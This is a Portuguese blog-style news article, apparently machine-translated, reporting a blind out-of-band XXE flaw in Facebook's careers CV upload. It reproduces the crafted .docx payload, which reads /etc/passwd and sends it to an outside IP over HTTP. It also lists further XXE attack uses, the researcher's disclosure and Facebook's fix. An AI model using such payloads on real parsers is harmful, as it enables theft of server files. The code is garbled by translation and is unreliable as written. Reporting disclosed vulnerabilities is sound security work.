Mais uma vulnerabilidade do Facebook

Um especialista em segurança descobriu uma vulnerabilidade no Facebook que permite realizar várias atividades maliciosas apenas o upload de um arquivo do Microsoft Word forjado.

O pesquisador de segurança Mohamed Ramadan descobriu uma vulnerabilidade crítica no Facebook que permite que um atacante para hackear conta dos usuários usando um arquivo do Microsoft Word .docx forjado. Ramadan não é novidade para esse tipo de descobertas, ele já encontrou nos últimos vulnerabilidades em serviços web fornecidos pelo Facebook, Google, Microsoft e Twitter.
Ramadan estava realizando um reconhecimento do serviço Facebook quando ele veio na página carreira de Facebook , geralmente esse tipo de página permite que os usuários enviem seu CV através de um componente de upload. O especialista enviado com sucesso o seu CV para a plataforma Facebook. O uploader de Facebook permite apenas arquivos nos formatos PDF ou .docx, então ele teve a idéia de explorar o arquivo .docx, um formato concebido pela Microsoft, que, basicamente, pode ser equiparado a um  arquivo xml zipado.   Neste ponto, ele criou um falso CV com forjado documento do Microsoft Word e enviados para a página web carreiras Facebook. Abaixo um trecho de código incluído no arquivo XML que ele escreveu.
DOCTYPE root [
<! ENTITY% "file: /// etc / passwd" sistema de arquivos>
SISTEMA dtd "http://197.37.102.90/ext.dtd">
% DTD;
Send%;
]]>
Ele começou um servidor HTTP em execução em Python em sua máquina local e ele criou um arquivo chamado ext.dtd no diretório mohaab007. Este é o conteúdo recuperado de ext.dtd:
<! ENTITY% todos
"X25; enviar SYSTEM 'http://197.37.102.90/FACEBOOK-HACKED?%25file; ">"
>
% Todos;
Depois de carregar a Palavra CV forjou o pesquisador esperou pela resposta Facebook.
"Agora tudo é bom e em seguida foram enviados para CV.docx https://www.facebook.com/careers/  e esperou um minuto, mas não aconteceu nada. Eu disse a mim mesmo que é um fracasso total e eu vou verificar o meu perfil no Facebook, em vez e conversar com alguns amigos e jogar um jogo ou algo assim depois deste longo  FALHOU tentativa. Perdi cerca de 15 minutos ou conversando e navegando agora é hora de parar o servidor http python e perto Facebook e tudo mais. Eu estava indo para fechar minha janela do terminal e fiquei chocado ao ver que algo ligado ao meu servidor http python ", afirmou em um post de blog .
facebook hackeado docx-XXe
O resultado é surpreendente, Ramadan forçou um servidor do Facebook para se conectar ao seu servidor HTTP Python, uma circunstância que abrir as portas para vários cenários de ataque como explica o especialista.
  • DoS o sistema de análise, tornando-o aberto, egfile: /// dev / random | file: /// dev / urandom | file: // c: / con / con
  •  TCP verifica usando entidades externas HTTP (incluindo firewalls desde servidores de aplicações, muitas vezes têm visão de mundo diferente daquele do atacante)
  • O acesso não autorizado aos dados armazenados como arquivos XML no sistema de arquivos do sistema de análise (claro que o atacante ainda precisa de uma forma de obter esses dados de volta)
  • DoS em outros sistemas (se o sistema de análise é permitido estabelecer conexões TCP para outros sistemas)
  •  Roubo de material de autenticação NTLM, iniciando o acesso ao arquivo UNC para sistemas sob controle atacante (muito buscado?)
  • Cenário apocalíptico: Um aplicativo amplamente utilizada e altamente conectado vulneráveis ​​a este ataque pode ser usado para DDoS .
  • Listagem de diretórios, Leia sistema e arquivos do aplicativo e, em alguns casos, executar comandos do sistema usando php esperar: //: // wrapper.
O perito tentou aceder ao Facebook sistema de arquivos do servidor, mas não conseguiu provavelmente devido a mecanismos de segurança a empresa implementou. O especialista de qualquer maneira estava confiante de que o ataque ele reproduziu era cego XXE (XML Entidade Externa) fora de banda (OOB) e notei também que foi um processo demorado, porque ele precisava para fazer o upload e esperar o resultado depois de mais de 15 minutos. Ramadan eticamente relatou suas descobertas para Facebook que foram rejeitadas pela primeira vez.
facebook reply-XXe-1

Como mais uma prova de sua corte, ele também forneceu o CV forjado usado para forçar o servidor Facebook para manter contato com a sua máquina, mas ele recebeu outra resposta negativa:
facebook reply-XXe-2
Ele forneceu outros detalhes sobre seu teste para a equipe de segurança do Facebook, que em última análise percebeu a existência de uma vulnerabilidade grave no seu uploader de arquivos e recompensado Ramadan por sua descoberta.
facebook reply-XXe-3

Facebook fixa a vulnerabilidade no mecanismo de upload, adicionando esta linha de código:
"  libxml_disable_entity_loader (true) "

Comentários

Postagens mais visitadas